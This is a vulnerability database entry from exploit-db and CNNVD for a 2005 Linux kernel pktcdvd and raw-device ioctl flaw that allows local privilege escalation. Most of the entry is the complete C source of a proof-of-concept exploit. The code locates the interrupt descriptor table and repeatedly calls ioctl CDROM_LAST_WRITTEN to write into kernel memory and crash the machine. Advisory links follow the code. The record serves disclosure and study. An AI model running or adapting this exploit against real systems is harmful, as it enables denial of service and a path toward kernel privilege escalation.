https://www.exploit-db.com/exploits/998
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-1085

Linuxkernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4implementation是其中的一个分布式文件系统协议。Linuxkernel的pktcdvd和rawdevice块设备组件中存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。

/* pktcdvd_dos.c proof-of-concept 
* This is only a lame POC which will crash the machine, no root shell here. 
* --- alert7 
* 2005-5-15 
* the vulnerability in 2.6 up to and including 2.6.12-rc4 
* 
* gcc -o pktcdvd_dos pktcdvd_dos.c 
* 
* NOTE: require user can read pktcdvd block device 


* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 
*/ 


#define _GNU_SOURCE 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <signal.h> 
#include <paths.h> 
#include <grp.h> 
#include <setjmp.h> 
#include <stdint.h> 
#include <sys/mman.h> 
#include <sys/ipc.h> 
#include <sys/shm.h> 
#include <sys/ucontext.h> 
#include <sys/wait.h> 
#include <asm/ldt.h> 
#include <asm/page.h> 
#include <asm/segment.h> 
#include <linux/unistd.h> 
#include <linux/linkage.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <linux/sysctl.h> 
#include <linux/cdrom.h> 


#define __NR_sys_ioctl __NR_ioctl 



#define PKTCDVDDEVICE "/dev/hdc" 


static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg); 


struct idtr { 
unsigned short limit; 
unsigned int base; 
} __attribute__ ((packed)); 


unsigned int get_addr_idt() { 
struct idtr idtr; 
asm("sidt %0" : "=m" (idtr)); 
return idtr.base; 
} 
struct desc_struct { 
unsigned long a,b; 
}; 
int main(int argc,char **argv) 
{ 
unsigned int ptr_idt; 
int iret ; 
int fd; 


printf("[++]user stack addr %p n",&ptr_idt); 
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){ 
printf("[--]this kernel patched 4g/4g patch,no vulnerability!n"); 
return -1; 
} 


ptr_idt=get_addr_idt(); 
printf("[++]IDT Addr %p n",ptr_idt); 



fd = open(PKTCDVDDEVICE,O_RDONLY); 
if (fd ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("open"); 
return -1; 
} 

unsigned long WriteTo ; 


if ( (ptr_idt>>24)==0xc0){ 
printf("[++]this OS in Real Linuxn"); 
WriteTo= ptr_idt; 
}else{ 
printf("[++]this OS maybe in VMWAREn"); 
WriteTo = 0xc0100000; 
} 


printf("[++]call sys_ioctl will crash machinen"); 
fflush(stdout); 

int loopi; 
for (loopi=0;loopi<0x100000 ;loopi++ ) 
{ 
printf("[++]will write data at 0x%xn",WriteTo+loopi*4); 
fflush(stdout); 
iret = sys_ioctl(fd, 
CDROM_LAST_WRITTEN, 
WriteTo+loopi*4); 
if (iret ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("ioctl"); 
//if in VMWARE ,rewrite ptr_idt adress will failed 
printf("[--]still alivingn"); 
close(fd); 
return -1; 
} 
} 
close(fd); 
return 0; 
} 

// milw0rm.com [2005-05-17]

来源:MLIST
名称:[linux-kernel]20050517[PATCH]Fixrootholeinpktcdvd
链接:http://marc.theaimsgroup.com/?l=linux-kernel&m;=111630531515901&w;=2
来源:VULNWATCH
名称:20050516Linuxkernelpktcdvdandrawdeviceioctlbreakuserspacelimitvulnerability
链接:http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0045.html
来源:VUPEN
名称:ADV-2005-0557
链接:http://www.frsirt.com/english/advisories/2005/0557
来源:kernel.org
链接:http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.11.10
来源:VULNWATCH
名称:20050517Linuxkernelpktcdvdioctlbreakuserspacelimitvulnerability[corrected]
链接:http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0047.html
来源:VULNWATCH
名称:20050517Re:Linuxkernelpktcdvdandrawdeviceioctlbreakuserspacelimitvulnerability
链接:http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0046.html
来源:BID
名称:13651
链接:http://www.securityfocus.com/bid/13651
来源:MANDRAKE
名称:MDKSA-2005:219
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2005:219
来源:SECUNIA
名称:17826
链接:http://secunia.com/advisories/17826
来源:MANDR